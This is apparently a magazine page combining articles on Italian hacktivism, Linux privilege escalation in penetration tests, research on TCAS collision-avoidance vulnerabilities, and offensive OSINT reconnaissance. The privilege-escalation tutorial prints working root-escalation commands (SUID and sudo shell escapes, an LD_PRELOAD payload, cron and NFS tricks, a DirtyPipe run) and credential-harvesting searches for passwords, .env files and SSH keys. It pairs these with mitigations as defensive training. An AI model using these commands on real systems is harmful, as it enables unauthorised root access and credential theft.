L’Italia è un’anomalia globale nell’hacktivism per una convergenza di fattori che non sono accidentali. Il posizionamento geopolitico, membro NATO, sostenitore della causa ucraina, Paese con un ruolo attivo nel dibattito europeo sulla sicurezza, la rende un bersaglio ideologicamente “meritevole” agli occhi dei collettivi filorussi. Il profilo istituzionale, con siti governativi, militari e di pubblica utilità spesso sottodimensionati sul fronte della difesa informatica rispetto ai loro omologhi nordeuropei, la rende un bersaglio tecnicamente accessibile. La vivacità mediatica del sistema politico, con dichiarazioni pubbliche che si traducono in casus belli digitali nel giro di ore, la rende un bersaglio narrativamente efficace.

Come analizzato in dettaglio nell’approfondimento di ICT Security Magazine sulla cybercrisi italiana del 2025, non sono gli attacchi sofisticati a mettere in ginocchio l’Italia, ma quelli più “semplici” e rumorosi, che altrove vengono neutralizzati prima di fare notizia. È questa la vera anomalia: non la complessità delle minacce che affrontiamo, ma la facilità con cui minacce relativamente elementari trovano il modo di colpire.

La vera resilienza non si acquisisce con la tecnologia, ma si costruisce giorno dopo giorno con competenze, processi e cultura. La sicurezza cibernetica non è un prodotto che si acquista, ma un processo continuo di adattamento. Un processo che l’Italia, stando ai numeri, non ha ancora completato e che le sfide geopolitiche dei prossimi anni renderanno sempre più urgente.

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Privilege escalation su Linux: anatomia delle tecniche più sfruttate nei penetration test del 2026

La fase di privilege escalation rappresenta uno dei principali fattori di rischio nei test di sicurezza moderni, spesso più determinante dell’accesso iniziale. È silenziosa, spesso automatizzabile, e si fonda quasi sempre su configurazioni errate che esistono di default in sistemi che non hanno mai ricevuto un hardening esplicito. Secondo il Rapporto Clusit 2025, l’Italia ha registrato 357 incidenti gravi nel 2024, con un incremento del 15,2% rispetto all’anno precedente, e il credential access rappresenta circa il 30% degli eventi rilevati, una base di partenza che rende la post-exploitation, inclusa la privilege escalation, un vettore critico in qualsiasi strategia di difesa.

Il problema che nessuno vuole vedere

C’è una fase del penetration test che molte organizzazioni continuano a sottovalutare. Non è l’accesso iniziale – ormai riconosciuto come critico anche dal management meno tecnico – ma ciò che accade dopo: la capacità di un attaccante di muoversi verticalmente all’interno di un sistema già compromesso, scalando da un account limitato fino ai privilegi di root.

La privilege escalation su Linux è esattamente questa fase. È silenziosa, spesso automatizzabile, e si fonda quasi sempre su configurazioni errate che esistono di default in sistemi che non hanno mai ricevuto un hardening esplicito.

Questo articolo analizza i vettori di escalation più ricorrenti nella pratica operativa del 2026, con riferimento alle tecniche documentate nei framework MITRE ATT&CK e PTES (Penetration Testing Execution Standard), e con i comandi effettivi utilizzati nei test autorizzati.

Contesto normativo: perché la privilege escalation è rilevante per la compliance

Prima di entrare nel merito tecnico, vale la pena inquadrare il tema in prospettiva normativa.

Il Digital Operational Resilience Act (DORA, Reg. UE 2022/2554), pienamente applicabile dal gennaio 2025 per le entità finanziarie europee, introduce l’obbligo di Threat-Led Penetration Testing (TLPT) basato sul framework TIBER-EU. Questi test richiedono la simulazione realistica di attacchi avanzati – incluse le tecniche di escalation dei privilegi – su sistemi in produzione.

Analogamente, la Direttiva NIS2 (recepita in Italia con il D.Lgs. 138/2024) richiede che le entità essenziali e importanti adottino misure “adeguate e proporzionate” ai rischi specifici identificati, ai sensi dell’Art. 21. La privilege escalation, in questo contesto, non è più una questione puramente tecnica: è un requisito di compliance.

La fase che precede tutto: l’enumerazione sistematica

Un errore frequente, anche tra penetration tester con esperienza, è saltare o comprimere la fase di enumerazione per arrivare più velocemente all’escalation. Il risultato è quasi sempre lo stesso: si perde tempo su vettori che non esistono, mentre quello reale è lì, evidente, in attesa di essere trovato metodicamente.

L’enumerazione di un sistema Linux post-compromissione segue un ordine preciso:

# Identità e contesto dell'utente corrente

id && whoami && groups

# Sistema operativo, versione kernel, architettura

uname -a && cat /etc/os-release && cat /proc/version

# Processi in esecuzione come root

ps aux | grep -v "^\[" | awk '{if($1=="root") print $0}'

# Servizi di rete in ascolto

ss -tulnp

# Scheduled tasks

cat /etc/crontab

ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/

crontab -l 2>/dev/null

# Binari con SUID impostato

find / -perm -4000 -user root -type f 2>/dev/null

# File scrivibili da utenti non privilegiati

find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys

Strumenti come unix-privesc-check automatizzano questa raccolta e producono un output strutturato che evidenzia le anomalie più significative. Tuttavia, l’automazione non sostituisce la comprensione: un enumeratore automatico può segnalare centinaia di potenziali problemi, ma solo la lettura critica distingue un falso positivo da un vettore reale.

Vettore 1: abuso di binari SUID

Il bit SUID (Set User ID) è un meccanismo del filesystem Unix che permette a un eseguibile di girare con i privilegi del suo proprietario, indipendentemente dall’utente che lo lancia. Quando un binario è di proprietà di root e ha il SUID impostato, chiunque lo esegua acquisisce temporaneamente i privilegi di root per la durata dell’esecuzione.

find / -perm -4000 -user root -type f 2>/dev/null

Il database GTFOBins (gtfobins.github.io) documenta ogni binario Linux noto che può essere sfruttato per l’escalation quando ha SUID impostato. Alcuni esempi pratici:

# find con SUID impostato

/usr/bin/find . -exec /bin/sh -p \; -quit

# python3 con SUID

python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# vim con SUID impostato — caso SUID puro (non sudo)

./vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# Nota: il classico ':!/bin/bash' funziona via sudo ma non preserva l'EUID nel caso SUID puro

# bash con SUID — accesso root immediato

bash -p

Questo vettore è classificato nel framework MITRE ATT&CK come T1548.001 (Abuse Elevation Control Mechanism: Setuid and Setgid). La sua rilevazione richiede audit periodici dei permessi dei binari, idealmente integrati in pipeline di configuration management.

Vettore 2: configurazioni errate di sudo

Il comando sudo è probabilmente la fonte più ricca di vettori di privilege escalation nei sistemi Linux aziendali.

sudo -l

Le misconfigurazioni più frequenti includono:

NOPASSWD su binari che consentono escape di shell

Configurazioni come:

(ALL) NOPASSWD: /usr/bin/vim

(ALL) NOPASSWD: /usr/bin/less

(ALL) NOPASSWD: /usr/bin/python3

Qualsiasi di questi binari, quando eseguito con sudo, permette di lanciare una shell come root:

sudo vim -c ':!/bin/bash'

sudo less /etc/hosts   # poi digita !bash

sudo python3 -c 'import os; os.system("/bin/bash")'

Preservazione di LD_PRELOAD

Quando /etc/sudoers contiene env_keep+=LD_PRELOAD, è possibile iniettare una libreria condivisa appositamente costruita:

// privesc.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

void _init() {

unsetenv("LD_PRELOAD");

setresuid(0, 0, 0);  // copre RUID, EUID e SUID

system("/bin/bash -p");

}

gcc -fPIC -shared -nostartfiles -o /tmp/privesc.so privesc.c

sudo LD_PRELOAD=/tmp/privesc.so <qualsiasi_binario_consentito>

Wildcard nei percorsi

Regole come (ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/*.py sono aggirabili:

echo 'import os; os.system("/bin/bash")' > /opt/scripts/exploit.py

sudo /usr/bin/python3 /opt/scripts/exploit.py

Vettore 3: cron job scrivibili

I task pianificati eseguiti come root che referenziano script scrivibili da utenti non privilegiati rappresentano un vettore silenzioso e affidabile.

cat /etc/crontab

ls -la /etc/cron.d/

cat /var/spool/cron/crontabs/root 2>/dev/null

Se un cron job di root esegue /opt/backup.sh e quel file è scrivibile:

ls -la /opt/backup.sh

# -rwxrwxrwx 1 root root

echo 'chmod +s /bin/bash' >> /opt/backup.sh

# Dopo l'esecuzione del cron:

bash -p

# root

Vettore 4: credenziali nei file di configurazione

Nei test su ambienti di produzione reali, questo è statisticamente il vettore con il tasso di successo più elevato.

# Cronologia dei comandi

cat ~/.bash_history

cat /root/.bash_history 2>/dev/null

# File di configurazione applicativi

grep -r "password\|passwd\|secret\|token\|api_key" /var/www/ 2>/dev/null

find /var/www -name ".env" -exec cat {} \; 2>/dev/null

# Chiavi SSH private

find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null

# Variabili d'ambiente dei processi

cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i
"pass\|secret\|key\|token"

Le credenziali trovate nelle applicazioni web sono spesso riutilizzate dall’amministratore di sistema anche per l’account root. Per le tecniche di sfruttamento delle chiavi SSH trovate durante questa fase esistono guide tecniche dedicate che coprono i workflow operativi completi, incluse le metodologie di SSH key hunting documentate da HackIta.

Vettore 5: NFS con no_root_squash

Le condivisioni NFS configurate con no_root_squash in /etc/exports permettono a un utente root su un sistema remoto di operare come root sui file della condivisione montata.

cat /etc/exports

# Esempio vulnerabile:

# /data *(rw,no_root_squash,sync)

# Dal sistema dell'attaccante (come root):

mount -t nfs <target_ip>:/data /tmp/nfsmount

cp /bin/bash /tmp/nfsmount/rootbash

chmod +s /tmp/nfsmount/rootbash

# Sul sistema target:

/data/rootbash -p

# uid=0(root)

Vettore 6: exploit del kernel, ultima risorsa

uname -r


searchsploit linux kernel <versione>

DirtyPipe (CVE-2022-0847), colpisce i kernel dalla 5.8 fino alle versioni immediatamente precedenti alle release in cui la patch è stata distribuita: 5.16.11, 5.15.25 e 5.10.102. I kernel della serie 5.10 e 5.15 antecedenti a queste release sono quindi vulnerabili, non solo quelli della serie 5.16:

gcc -o dirtypipe dirtypipe.c

./dirtypipe /etc/passwd

Queste tecniche devono essere utilizzate esclusivamente in contesti autorizzati e controllati, mai in ambienti di produzione senza esplicita autorizzazione documentata.

Automazione: LinPEAS per assessment ad alta velocità

# Esecuzione diretta

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee /tmp/linpeas_output.txt

I risultati in rosso/giallo indicano alta probabilità di escalation e richiedono analisi manuale approfondita.

Prioritizzazione dei vettori di privilege escalation

Vettore Affidabilità Rumore Impatto sistema Priorità
Credenziali nei file Alta Nessuno Nessuno 1
sudo misconfiguration Molto alta Basso Minimo 2
SUID binary abuse Alta Basso Minimo 3
Cron job scrivibili Alta Nessuno Minimo 4
NFS no_root_squash Media Basso Minimo 5
Kernel exploit Variabile Alto Potenzialmente alto 6

Mitigazioni: cosa implementare concretamente

Audit periodico dei permessi SUID/SGID, identificare e rimuovere il bit SUID da tutti i binari che non lo richiedono esplicitamente. Integrare questa verifica in pipeline CI/CD o tool di configuration management come Ansible o Puppet.

Review delle policy sudo: applicare il principio del minimo privilegio. Evitare NOPASSWD su binari che permettono escape di shell. Considerare l’uso di Cmnd_Alias per limitare precisamente le operazioni consentite.

Protezione delle credenziali: adottare strumenti di secret management (HashiCorp Vault, AWS Secrets Manager) per eliminare le credenziali in chiaro dai file di configurazione. Implementare la rotazione automatica delle credenziali di servizio.

Configurazione sicura di NFS: rimuovere no_root_squash da tutte le esportazioni. Limitare le esportazioni agli IP strettamente necessari tramite host list esplicite.

Patch management sistematico: mantenere i kernel aggiornati con policy di patching proporzionate al rischio e documentate nelle policy interne, come richiesto dall’approccio “adeguato e proporzionato” dell’Art. 21 NIS2. Per le vulnerabilità critiche con exploit pubblico disponibile, la finestra temporale dovrebbe essere la più breve possibile.

Monitoring delle attività di escalation: implementare regole SIEM per rilevare pattern anomali: esecuzione di comandi come root da utenti non privilegiati, accessi inusuali a /etc/passwd o /etc/shadow, montaggio di share NFS da host non autorizzati.

Conclusione

La privilege escalation su Linux non è un problema di exploit sofisticati o vulnerabilità zero-day. È un problema di configurazione, e le configurazioni errate che la rendono possibile esistono, in forme diverse, nella grande maggioranza dei sistemi Linux mai sottoposti a hardening esplicito.

Nel contesto normativo europeo del 2026 – con DORA operativo per le entità finanziarie e NIS2 che estende i requisiti di testing a un perimetro molto più ampio di organizzazioni – la comprensione di questi vettori non può più essere limitata ai team di offensive security. È una conoscenza che deve permeare i team di IT operations, i security architect e i responsabili della compliance.

La vera domanda non è se questi vettori esistano, ma chi li individuerà per primo.

Fonti

A cura del team di HackIta (https://hackita.it), risorsa italiana di ethical hacking, penetration testing e sicurezza delle reti.

Profilo Autore

Canio Campaniello è penetration tester e fondatore di HackIta (hackita.it), risorsa italiana di ethical hacking e penetration testing. Si occupa di sicurezza offensiva con focus su Active Directory, privilege escalation e red team operations.

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«Breaking TCAS»: vulnerabilità e attacchi nella sicurezza aerea

Alla 14ª edizione della Cyber Crime Conference, ospitata a Roma il 6 e 7 maggio 2026 nell’Auditorium della Tecnica, il Prof. Alessio Merlo, Direttore del Centro Alti Studi per la Difesa (CASD, Scuola Superiore Universitaria), ha presentato i risultati di una ricerca condotta dal CASD insieme all’Università di Genova sulle vulnerabilità del Traffic Collision Avoidance System (TCAS), il sistema anticollisione obbligatorio sugli aerei di linea.

L’intervento, intitolato «Breaking TCAS: vulnerabilità e attacchi nella sicurezza aerea», si è mosso su due piani: da un lato l’illustrazione di due distinte vulnerabilità del protocollo TCAS, dall’altro la formulazione di un’ipotesi tecnicamente motivata per spiegare l’incidente avvenuto il 1° marzo 2025 lungo la traiettoria di avvicinamento all’Aeroporto Ronald Reagan di Washington (DCA).

Cyber Crime Conference, Alessio Merlo «Breaking TCAS» vulnerabilità e attacchi nella sicurezza aerea
Alessio Merlo alla Cyber Crime Conference 2026

Il contesto: ATC, radar secondario e TCAS

Il controllo del traffico aereo poggia sulla torre di controllo (Air Traffic Control, ATC), che gestisce gli atterraggi tramite il radar primario. Quando un aereo si trova lontano dall’aeroporto, entra in gioco un secondo livello di sorveglianza: il radar secondario, basato sullo scambio di segnali radio in radiofrequenza fra aeromobili. Misurando il tempo di risposta in funzione della velocità della luce, ogni velivolo stima la distanza e la posizione degli altri aerei nelle vicinanze.

Al di sopra del radar secondario opera il TCAS, introdotto circa quarant’anni fa e considerato l’ultima barriera per la prevenzione delle collisioni. Funziona in modo autonomo e genera due tipologie di allerta:

  • Traffic Advisory (TA): avviso visivo al pilota della presenza di un altro aereo, con l’indicazione della posizione e dell’altitudine.
  • Resolution Advisory (RA): manovra evasiva automatica e coordinata fra due velivoli in rotta di collisione (uno sale, l’altro scende).

Come ha sottolineato Merlo, il protocollo TCAS è stato progettato in un’epoca in cui la cybersecurity non era una priorità di design: non prevede autenticazione, né controllo di integrità, né cifratura.

Iniettare aerei falsi: la prima vulnerabilità

Nel 2023 il gruppo di ricerca del CASD e dell’Università di Genova ha cominciato a studiare la possibilità di iniettare contatti aerei falsi sul radar di un velivolo bersaglio, fino a indurlo a generare TA e RA reali.

L’unica protezione fisica del protocollo era il ritardo fisso di 128 microsecondi previsto dalla modalità Modo S: per far comparire un aeromobile a una distanza più prossima all’aereo sotto attacco rispetto alla posizione reale dell’attaccante, quest’ultimo avrebbe dovuto rispondere a un’interrogazione in tempi più brevi di tale ritardo, anticipando di fatto la risposta legittima. Storicamente, questa barriera temporale aveva reso l’attacco irrealizzabile con hardware comune.

I ricercatori hanno dimostrato che l’evoluzione dell’hardware Software Defined Radio (SDR) ha riscritto lo scenario: oggi l’attacco è realizzabile con apparati dal costo di circa 10.000 euro e funziona fino a 5 chilometri di distanza dall’aereo bersaglio, una portata particolarmente critica nelle fasi di atterraggio.

Disabilitare le RA: l’exploit del Sensitivity Level

La seconda vulnerabilità individuata riguarda il Sensitivity Level (SL), il parametro che regola la soglia di attivazione delle Resolution Advisory. Lo standard prevede che il valore di SL possa essere modificato dalle stazioni di terra in scenari operativi complessi, come gli avvicinamenti in aree congestionate.

Un attaccante può falsificare il comando di terra e impostare SL=0, disabilitando completamente la generazione di RA: il TCAS continua a emettere TA, ma non produce più la manovra evasiva automatica. Il ripristino richiede il riavvio del sistema, un’operazione tutt’altro che banale in volo.

La timeline della responsible disclosure

La scoperta delle vulnerabilità ha innescato un articolato iter di responsible disclosure, che ha coinvolto le United Nations (UN), l’European Union Aviation Safety Agency (EASA), la Federal Aviation Administration (FAA), l’Ente Nazionale per l’Aviazione Civile (ENAC), l’Agenzia per la Cybersicurezza Nazionale (ACN) e il Comando per le Operazioni in Rete (COR).

Le tappe principali:

  • Giugno 2023: scoperta delle vulnerabilità.
  • Febbraio 2024: sottomissione dell’articolo scientifico.
  • Maggio 2024: accettazione del paper.
  • Agosto 2024: presentazione a USENIX Security 2024 (Longo, Strohmeier, Russo, Merlo, Lenders, «On a Collision Course: Unveiling Wireless Attacks to the Aircraft Traffic Collision Avoidance System»).
  • Gennaio 2025: pubblicazione dell’ICS Advisory CISA, con assegnazione di due CVE.
  • Aprile 2025: comunicato stampa e diffusione mediatica, con oltre 60 apparizioni su testate nazionali, regionali e locali.

L’advisory CISA e la valutazione del rischio

Il bollettino ICS della CISA, pubblicato a gennaio 2025, ha ufficializzato le due vulnerabilità:

  • CVE-2024-11166 (Sensitivity Level): mitigabile aggiornando gli apparati alla versione ACAS X o il transponder allo standard RTCA DO-181F.
  • CVE-2024-9310 (protocollo TCAS): nessuna mitigazione disponibile.

Il documento accompagnava la pubblicazione con una valutazione del rischio improntata alla prudenza: «These vulnerabilities in the TCAS II standard are exploitable in a lab environment. However, they require very specific conditions to be met and are unlikely to be exploited outside of a lab setting». La storia, come si vedrà, ha messo in discussione questa rassicurazione nel giro di poche settimane.

1° marzo 2025: l’incidente di Washington DCA

Il 1° marzo 2025, in una mattinata di buona visibilità, lungo la traiettoria di avvicinamento alla pista 19 dell’Aeroporto Ronald Reagan di Washington sono state registrate numerose segnalazioni di TCAS TA e RA. Gli eventi si sono susseguiti per circa tre ore, dalle 11:10 alle 14:10 UTC.

A oggi la Federal Aviation Administration non ha fornito alcuna spiegazione ufficiale. Le uniche risposte istituzionali sono arrivate da due deputati USA, Rick Larsen e Bennie G. Thompson, Ranking Members delle Commissioni Trasporti e Sicurezza Interna: in una lettera al Congresso del 14 aprile 2025, i due hanno attribuito il «disturbo» a sistemi anti-drone (C-UAS) del Secret Service. L’ipotesi presenta tuttavia un’incongruenza tecnica evidente: i droni non sono dotati di TCAS, e un sistema anti-drone non dovrebbe pertanto interferire con il protocollo TCAS degli aerei di linea.

L’analisi da fonti aperte

Incrociando annunci di posizione, annunci RA e comunicazioni radio reperibili in fonti aperte, il team di Merlo ha ricostruito gli elementi quantitativi dell’evento:

  • 10 aerei coinvolti, di cui 8 con RA e 3 con go-around (atterraggio abortito).
  • 5 km di visibilità orizzontale.
  • Singolo intruso a quota fissa di circa 700 metri, non rilevato né dall’ATC né visivamente dai piloti.
  • Trasmissione in Modo C (tecnologia legacy rispetto al Modo S), che riporta solo la quota e non la posizione.
  • Distanza media indicata dagli annunci RA: circa 400 metri.
  • Direzione: tra 315° e 345°, corrispondente a «ore 11» rispetto ai velivoli coinvolti.

L’analisi geometrica delle distanze restituisce un esito controintuitivo: ogni aereo sembra avere il proprio intruso che si muove insieme a esso. Un oggetto in volo con tali caratteristiche sarebbe stato impossibile da non rilevare, sia strumentalmente sia visivamente. L’ipotesi più plausibile resta quindi quella di un trasmettitore fisso a terra che inietta contatti falsi tramite il Modo C.

Replicare l’attacco sul Modo C

Per verificare la fattibilità tecnica dell’ipotesi, i ricercatori hanno replicato l’attacco di iniezione sul Modo C, dove il ritardo fisso di riferimento scende a soli 3 microsecondi, contro i 128 del Modo S. Il modello SDR da 10.000 euro a quel punto non è più sufficiente: serve un’implementazione su RFSoC (FPGA, front end RF e CPU ARM/Linux), con un costo dell’ordine di 80.000-90.000 euro.

L’attacco è stato validato fino a una distanza massima di circa 2 chilometri e certificato con il test set avionico Aeroflex IFR6000, utilizzato in ambito industriale per la verifica dei TCAS reali.

Geolocalizzare il trasmettitore: il metodo Sequential Monte Carlo

Dimostrata la fattibilità tecnica, restava da capire se i dati pubblici dell’incidente DCA fossero compatibili con un trasmettitore fisso a terra e, in tal caso, dove fosse collocato.

I ricercatori hanno sviluppato un metodo probabilistico basato su Sequential Monte Carlo per stimare la posizione di un trasmettitore fisso a partire dalle osservazioni registrate. Il metodo è stato validato preventivamente su 300.000 scenari sintetici comparabili o superiori al caso DCA, con i seguenti risultati:

  • Identificazione corretta della sorgente fissa nel 95% dei casi.
  • Errore medio di circa 855 metri.
  • Tempo di esecuzione medio di circa 8 secondi.
  • Comportamento differenziale: se il trasmettitore è mobile, la distribuzione di probabilità non converge.

Il risultato sul caso DCA

Applicato ai dati reali dell’incidente del 1° marzo 2025, il metodo ha prodotto una distribuzione di probabilità stabile e coerente con l’ipotesi di una sorgente fissa a terra:

  • Stima della sorgente a circa 890 metri dal centro dell’area ristretta P-56B.
  • Probabilità del 94% che il trasmettitore si trovi all’interno dell’area ristretta.
  • In 40 minuti, dopo due incontri, l’algoritmo avrebbe ristretto la sorgente a un’area di circa 4 km².

L’area P-56B coincide con lo U.S. Naval Observatory, residenza ufficiale del Vicepresidente degli Stati Uniti. Il risultato è pubblicato in Longo, Ratto, Merlo, Russo, «Unknown Target: Uncovering and Detecting Novel In-Flight Attacks to Collision Avoidance (TCAS)», nei proceedings del Network and Distributed System Security (NDSS) Symposium 2026.

Su questo punto Merlo è stato esplicito: «il rilevamento non equivale all’attestazione». I numeri pubblici indicano la compatibilità tecnica di un’origine fissa in una zona precisa, ma non costituiscono, di per sé, un’attribuzione formale dell’identità degli attaccanti.

Takeaway

L’intervento si è chiuso con alcune considerazioni di carattere sistemico sulla sicurezza dei sistemi cyber-fisici:

  • L’isolamento dei sistemi critici, pur necessario, non è sufficiente a preservarli dagli attacchi cyber, soprattutto quando l’hardware d’attacco diventa accessibile a budget contenuti.
  • La debolezza intrinseca di molti sistemi avionici e industriali deriva da norme e standard storicamente progettati senza integrare la cybersecurity.
  • I cyber range e l’approccio multidisciplinare alla ricerca sono ormai imprescindibili per il cybersecurity testing di sistemi cyber-fisici, in cui la sperimentazione su asset reali è eticamente e operativamente impraticabile.
  • Le implicazioni geopolitiche della detection vanno affrontate con cautela metodologica.
  • Esiste un nodo irrisolto fra security e safety: a differenza di un attacco a un server, un attacco a un aereo in volo introduce un rischio diretto per le vite umane.
  • I sistemi cyber-fisici poggiano su protocolli legacy: la protezione fisica non basta più, rendere «smart» un sistema spesso lo rende meno sicuro, e riprogettare tutto da zero non è un’opzione realistica.

Al di là del suo valore tecnico, il caso TCAS è un richiamo alla necessità di integrare la cybersecurity nei processi di standardizzazione internazionale, di investire in cyber range avionici e di formare giovani ricercatori capaci di operare alla frontiera fra security, safety e implicazioni geopolitiche. Come ha ricordato Merlo, la distanza fra un attacco a un server e un attacco a un aereo in volo non si misura più in termini di disponibilità di un servizio, ma in vite umane. Una soglia che impone a ricerca, industria e regolatori di muoversi insieme, e in fretta.

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OSINT Offensivo: l’arma invisibile che precede ogni attacco

Nella cybersecurity esiste una contraddizione che viene sistematicamente sottovalutata: quanto più un’organizzazione comunica, si promuove e si digitalizza, tanto più amplia involontariamente la propria superficie di attacco. Non attraverso falle nel codice o configurazioni errate, ma attraverso qualcosa di molto più ordinario: le informazioni pubblicamente disponibili su se stessa.

OSINT offensivo: la ricognizione invisibile che precede ogni attacco

L’Open Source Intelligence offensiva, nota come offensive OSINT, è la pratica con cui attori malevoli raccolgono, correlano e trasformano in arma questi dati pubblici, tutto senza mai toccare un sistema target, senza inviare un pacchetto sospetto, senza lasciare traccia nei log. Come documenta ShadowDragon nel suo riferimento 2026 sull’argomento, la ricognizione passiva non interagisce con la presenza online del bersaglio e rimane non rilevabile, non lasciando alcuna traccia dell’attività di raccolta informazioni. È invisibile per definizione.

Questa invisibilità è la prima ragione per cui l’offensive OSINT è tanto pericolosa quanto sottostimata.

La guerra inizia prima dell’attacco: la fase di ricognizione

La ricognizione precede ogni intrusione. Nel framework MITRE ATT&CK, la tattica TA0043 cataloga formalmente le tecniche con cui gli avversari raccolgono informazioni utili a pianificare operazioni future, distinguendo tra raccolta attiva e passiva. La distinzione non è accademica: determina il profilo di rischio dell’attaccante e la tracciabilità dell’operazione.

La ricognizione passiva si alimenta di tutto ciò che è già pubblico: record DNS, certificati digitali, metadati nei documenti, profili LinkedIn, offerte di lavoro, repository GitHub, comunicati stampa. Nulla di illegale, nulla di tecnico nel senso tradizionale del termine. Eppure questi dati, correlati con metodo, costruiscono un profilo operativo estremamente preciso di qualsiasi organizzazione.

La ricognizione attiva, invece, prevede un’interazione diretta con i sistemi del bersaglio, come la scansione delle porte o l’enumerazione dei servizi, e per questa ragione genera tracce rilevabili. Gli attaccanti sofisticati tendono a restare nella fase passiva il più a lungo possibile, spostandosi all’attivo solo quando hanno già un quadro sufficientemente dettagliato per operare in modo chirurgico.

Come osserva Vectra AI nel suo approfondimento del marzo 2026 sulla ricognizione, la profilazione OSINT include la mappatura dei ruoli dei dipendenti, dei fornitori e delle tecnologie a partire da fonti pubbliche come LinkedIn, le offerte di lavoro e i repository di codice. Queste attività non generano telemetria difensiva: compaiono nel log solo dopo, come precisione inaspettata nelle fasi successive dell’attacco.

Che cosa cercano davvero gli attaccanti: non vulnerabilità ma contesto

L’errore più comune nel ragionare sull’offensive OSINT è pensare che gli attaccanti cerchino vulnerabilità tecniche. In realtà, nella fase di ricognizione cercano soprattutto contesto: chi prende le decisioni, quali fornitori si utilizzano, quale stack tecnologico è in produzione, quale ufficio gestisce i bonifici, chi ha appena cambiato ruolo, chi è in trasferta.

Questi dati, individualmente irrilevanti, diventano letali una volta aggregati. SecurityScorecard evidenzia nel suo aggiornamento del 2026 che la raccolta passiva permette ai threat actor di costruire profili completi delle organizzazioni target prima ancora di passare a metodi di raccolta attiva come la scansione delle porte o le verifiche sulle applicazioni web. Questa ricognizione rivela spesso vettori d’attacco che i team di sicurezza trascurano.

Le fonti preferite degli attaccanti includono: offerte di lavoro (che rivelano stack tecnologici e strumenti di sicurezza adottati); profili sui social network professionali (che espongono organigrammi, riporti diretti e responsabilità operative); repository pubblici di codice (dove credenziali hardcoded e configurazioni sensibili compaiono con frequenza sorprendente); certificate transparency log (che rivelano sottodomini e infrastruttura interna); e breach database pubblicamente accessibili (che contengono credenziali riutilizzate o pattern di password aziendali).

Il ruolo abilitante dell’intelligenza artificiale

Se la reconnaissance manuale richiedeva tempo e competenze, l’integrazione dell’intelligenza artificiale nei flussi di lavoro offensivi ha abbattuto entrambe le barriere. Il Google Threat Intelligence Group documenta nel suo report del febbraio 2026 che gli APT actor hanno usato strumenti di AI a supporto di diverse fasi del ciclo di vita dell’attacco, con un focus specifico sulla ricognizione e sullo sviluppo dei target per facilitare il compromesso iniziale.

I casi documentati dal GTIG sono precisi e verificati. APT42, il gruppo iraniano noto anche come Charming Kitten o Mint Sandstorm, ha impiegato modelli AI per cercare indirizzi email ufficiali di specifiche entità, condurre ricognizioni su potenziali partner commerciali e costruire persona credibili a partire dalla biografia dei target. UNC2970, il gruppo nordcoreano collegato a Lazarus Group, ha sintetizzato intelligence open source per profilare figure di alto valore nel settore della difesa e della cybersecurity, mappando ruoli tecnici specifici e informazioni salariali per affinare le campagne di spear phishing.

La portata di questa accelerazione diventa concreta guardando i dati operativi. Il Palo Alto Networks Unit 42 Global Incident Response Report 2026, basato su oltre 750 indagini in più di 50 paesi, certifica che nel 2025 gli attacchi più veloci hanno raggiunto l’esfiltrazione dei dati in soli 72 minuti dall’accesso iniziale, rispetto ai 285 minuti dell’anno precedente: una riduzione quadrupla del tempo che i difensori hanno a disposizione per rilevare e contenere una minaccia.

Questo è il paradosso che l’AI introduce nell’equazione: mentre velocizza e personalizza la ricognizione sul lato offensivo, comprime drammaticamente la finestra di risposta disponibile sul lato difensivo.

La supply chain come bersaglio strategico: l’anello debole è il tuo fornitore

L’offensive OSINT non si limita al perimetro diretto dell’organizzazione target. Uno dei suoi utilizzi più efficaci è la mappatura della catena di fornitura: identificare i fornitori critici, le loro integrazioni tecniche, i contratti pubblici, le partnership dichiarate. Una volta individuato l’anello più debole dell’ecosistema, l’attaccante non ha bisogno di affrontare le difese del bersaglio principale.

I dati del Unit 42 Report 2026 certificano che nel 2025 le applicazioni SaaS di terze parti sono state rilevanti nel 23% dei casi analizzati. In un’indagine documentata nel report, gli attaccanti hanno sfruttato token OAuth validi di una piattaforma commerciale compromessa per accedere agli ambienti Salesforce dell’organizzazione target. La revisione post-incidente ha rivelato quasi 100 integrazioni di terze parti collegate all’istanza, molte delle quali inattive, non monitorate o associate a ex dipendenti.

Per un threat actor che ha condotto una ricognizione OSINT accurata, l’identificazione di questa rete di trust è tutt’altro che casuale: è il risultato di settimane di analisi pubblica delle relazioni tra fornitori, dei contratti pubblicati, degli annunci di partnership. Informazioni che esistono nel dominio pubblico e che nessuno, nel frattempo, stava aggregando e interpretando con intento offensivo.

Il tema è strettamente collegato alle pratiche di threat intelligence e gestione del rischio di terze parti, su cui ICT Security Magazine ha già pubblicato approfondimenti specifici nel contesto della conformità NIS2.

La velocità come elemento sistemico

Un dato del Unit 42 Report 2026 richiede una riflessione separata: gli attaccanti cominciano a scansionare nuove vulnerabilità entro 15 minuti dall’annuncio pubblico di un CVE. In molti casi, i tentativi di exploit iniziano prima che i team di sicurezza abbiano terminato di leggere l’advisory.

Questo dato ridefinisce il problema. L’OSINT offensiva non è soltanto uno strumento per la fase preparatoria degli attacchi mirati: è anche un meccanismo di monitoraggio continuo che consente agli attaccanti di identificare opportunità in tempo reale. La stessa logica con cui un analista difensivo monitora le fonti pubbliche per anticipare le mosse degli avversari viene applicata specularmente da chi vuole sfruttarle.

Le strutture di identità digitale delle organizzazioni sono l’altra faccia del problema. Sempre secondo il Unit 42 Report 2026, le debolezze nell’identità hanno giocato un ruolo materiale in circa il 90% delle indagini condotte. Non perché le credenziali siano state rubate attraverso attacchi tecnici sofisticati, ma perché informazioni pubblicamente disponibili, abbinate a tecniche di social engineering alimentate da ricognizione OSINT, hanno reso i tentativi di compromissione dell’identità estremamente efficaci.

Questo legame diretto tra offensive OSINT e attacchi di social engineering è uno degli aspetti più critici e meno presidiati del panorama attuale.

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Sicurezza delle API: il tallone d’Achille dell’economia digitale

